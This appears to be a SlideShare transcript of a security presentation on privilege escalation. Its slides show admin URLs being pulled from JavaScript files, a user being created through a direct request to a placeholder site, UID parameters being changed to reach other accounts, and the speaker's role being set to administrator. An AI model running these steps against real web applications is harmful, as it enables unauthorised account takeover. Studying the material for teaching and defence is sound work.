• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Privilege Escalation And Misconfigurations Part2
 

Privilege Escalation And Misconfigurations Part2

on

  • 1,338 views

 

Statistics

Views

Total Views
1,338
Views on SlideShare
1,325
Embed Views
13

Actions

Likes
0
Downloads
0
Comments
0

1 Embed 13

http://www.linkedin.com 13

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Privilege Escalation And Misconfigurations Part2 Privilege Escalation And Misconfigurations Part2 Presentation Transcript

  • Privilege Escalation And Misconfigurations
  • Nothing but a login
  • Links to javascript files in the HTML <SCRIPT LANGUAGE=&quot;JavaScript&quot; type=&quot;text/javascript&quot; src=&quot; includes/scripts/fpi-init.js &quot;></SCRIPT> <SCRIPT LANGUAGE=&quot;JavaScript&quot; type=&quot;text/javascript&quot; src=&quot; includes/scripts/fpi-writevb.js &quot;></SCRIPT> <SCRIPT LANGUAGE=&quot;JavaScript&quot; type=&quot;text/javascript&quot; src=&quot; includes/scripts/fpi-main.js &quot;></SCRIPT> <SCRIPT LANGUAGE=&quot;JavaScript&quot; type=&quot;text/javascript&quot; src=&quot; includes/scripts/fpi-swap.js &quot;></SCRIPT>
  • Grab the source of the javascript files
  • Analyze the source for anything interesting
  • Found admin URL’s
  • Paste this into the browser and click send
    • https://www.site.com/Secure/Admin/AdminNewUser.aspx?user_id=spidynamics&pwd=pass
  • A 302 to an inside page
    • HTTP/1.1 302 Object moved
    • Server: Microsoft-IIS/5.0
    • X-Powered-By: ASP.NET
    • Location: /Secure/ViewSystemMessage.aspx?id=47
  • A 302 back to the login
    • HTTP/1.1 302 Object moved
    • Server: Microsoft-IIS/5.0
    • X-Powered-By: ASP.NET
    • Location: /Logon.aspx
  • Back at the login
  • Let’s see if our login exists
  • Welcome user SPIDynamics
  • Let’s try accessing the admin functions
    • https://www.site.com/Secure/Admin/AdminUserProgramRole.aspx?uid=spidynamics
  • Returns an Error
  • Use an integer instead of a string
    • https://www.site.com/Secure/Admin/AdminUserProgramRole.aspx?uid=2
  • Welcome Admin
    • UID field cycles thru each user
  • Ability to view all users
    • UID 3 is now another user
  • Here we are
    • By incrementing the UID field to 183 – we identified our user id.
  • I feel like being an administrator today
    • Clicking ‘Edit’ allowed us to set our user role to administrator
  • Feels good to be an admin
  • Where is the main admin page?
  • Start Guessing
    • Admin.asp
    • Default.asp
    • Administrator.asp
    • Admin.aspx etc…
  • The existing admin links
    • /Secure/Admin/AdminEditUser.aspx
    • /Secure/Admin/AdminNewUser.aspx
    • /Secure/Admin/AdminUserProgramRole.aspx
    • /Secure/Admin/AdminChangePassword.aspx
  • Success
  • Maybe Not.
  • Start Guessing
  • The existing admin links
    • /Secure/Admin/AdminEditUser.aspx
    • /Secure/Admin/AdminNewUser.aspx
    • /Secure/Admin/AdminUserProgramRole.aspx
    • /Secure/Admin/AdminChangePassword.aspx
  • Success – About Time